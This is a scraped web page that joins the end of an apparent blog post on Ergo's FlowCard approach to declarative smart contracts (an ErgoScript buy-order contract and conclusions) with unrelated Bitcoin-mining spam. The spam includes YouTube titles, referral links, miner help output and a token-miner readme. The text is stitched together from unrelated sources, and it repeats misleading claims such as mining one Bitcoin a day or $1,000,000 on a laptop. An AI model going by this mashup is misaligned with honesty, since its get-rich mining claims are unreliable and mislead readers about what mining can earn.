/** buyOrder contract */ def DEX(buyer: Addrss, seller: Address, TID: Int, ergAmt: Long, tAmt: Long) { val cancelCondition: SigmaProp = { buyer } // verify buyer's sig (ProveDlog) val swapCondition = OUTPUTS.size > 0 && { // securing OUTPUTS access val buyerOut = OUTPUTS(0) // from [email protected] buyerOut.tokens.size > TID && { // securing tokens access val tid = buyerOut.tokens(TID) val regR4 = buyerOut.R4[Coll[Byte]] regR4.isDefined && { // securing R4 access val R4 = regR4.get tid._2 == tAmt && // from tAmt: TID R4 == SELF.id && // from R4 == bid.id buyerOut.propositionBytes == buyer.propBytes // from script == buyer } } } cancelCondition || swapCondition } 
A similar script for the sellOrder box can be obtained using the same translation rules. With the help of the tooling the code of contracts can be mechanically generated from the diagram specification.

Conclusions

Declarative programming models have already won the battle against imperative programming in many application domains like Big Data, Stream Processing, Deep Learning, Databases, etc. Ergo is pioneering the declarative model of dApp development as a better and safer alternative to the now popular imperative model of smart contracts.
The concept of FlowCard shifts the focus from writing ErgoScript contracts to the overall flow of values (hence the name), in such a way, that ErgoScript can always be generated from them. You will never need to look at the ErgoScript code once the tooling is in place.
Here are the possible next steps for future work:
  1. Storage format for FlowCard Spec and the corresponding EIP standardized file format (Json/XML/Protobuf). This will allow various tools (Diagram Editor, Runtime, dApps etc) to create and use *.flowcard files.
  2. FlowCard Viewer, which can generate the diagrams from *.flowcard files.
  3. FlowCard Runtime, which can run *.flowcard files, create and send transactions to Ergo network.
  4. FlowCard Designer Tool, which can simplify development of complex diagrams . This will make designing and validation of Ergo contracts a pleasant experience, more like drawing rather than coding. In addition, the correctness of the whole dApp scenario can be verified and controlled by the tooling.
submitted by eleanorcwhite to btc [link] [comments]

How to mine bitcoins (solo mining) with the core client ... How to mine Bitcoin Using Linux [2019] - YouTube 1 Bitcoin In Day 4 WebSite mining Automatically - YouTube tutorial: Bitcoin mining with CGMiner - YouTube How to mine Bitcoin - Using Linux

This client includes a command-line miner which supports CPU mining (and GPU, should you have one available). But unless you're mining in a pool, you're not going to get any benefit from CPU mining. And even with a pool, you'll get very little. This will never actually mine bitcoin as it is far too slow, but I thought it might be interesting to see how easily you can start "mining" bitcoin blocks with just a few lines of code on the command line. To get the full list of parameters just type MINERD -h at the command prompt.. The output will look something like below: Usage: minerd [OPTIONS] Options: -a, --algo=ALGO specify the algorithm to use scrypt scrypt(1024, 1, 1) (default) sha256d SHA-256d -o, --url=URL URL of mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server ... BitCoin has been running almost non-stop on my desktop machine, in generation mode, for weeks. While I’ve been waiting for my first few coins to accrue through my contribution of cycle time, I was first intrigued by EFF’s announcement that they will now accept donations via BitCoin then encouraged when noted technologist, Simon Phipps, made the same move . 0xBitcoin ERC20 Token Miner. Solves proof of work to mine supported ERC20 tokens. This is a CPU miner. (See Releases for links to GPU miners.) Update 1.6 - Config Files For Days. This new build uses miner-config.js for setting parameters and no longer has an active command line. If you do not have an Ethereum account, it is recommended that you ...

[index] [44753] [8872] [33422] [19611] [26446] [11766] [26615] [36526] [15441] [11886]

How to mine bitcoins (solo mining) with the core client ...

Coinbase Wallet: https://www.coinbase.com/join/5a87ecac52a16c066e6760c3 Blockchain wallet: https://blockchain.info/fr/wallet/#/login Coinpaiments Wallet: htt... This video will demonstrate how to mine bitcoin in Linux. MINERGATE LINK: https://minergate.com/a/e13126b573b894c64393990a Bitcoin Donation : 3HNH19ss5Fd1j8j... *****UPDATE***** Solo mining has been removed from client. I'll keep the video up for how it used to work, it might still work for some alt coins (unsure) yo... Mining Bitcoin is as easy as installing the mining software on the PC you already own and clicking start. Anyone can do this and see the money start rolling ... Bitcoin from the Command Line ... How to mine $1,000,000 of Bitcoin using just a laptop - Duration: 3:19. Digital Trends 208,270 views. 3:19. Monero CLI is easy - Duration: 15:02. Ginger Ale 8,934 ...

#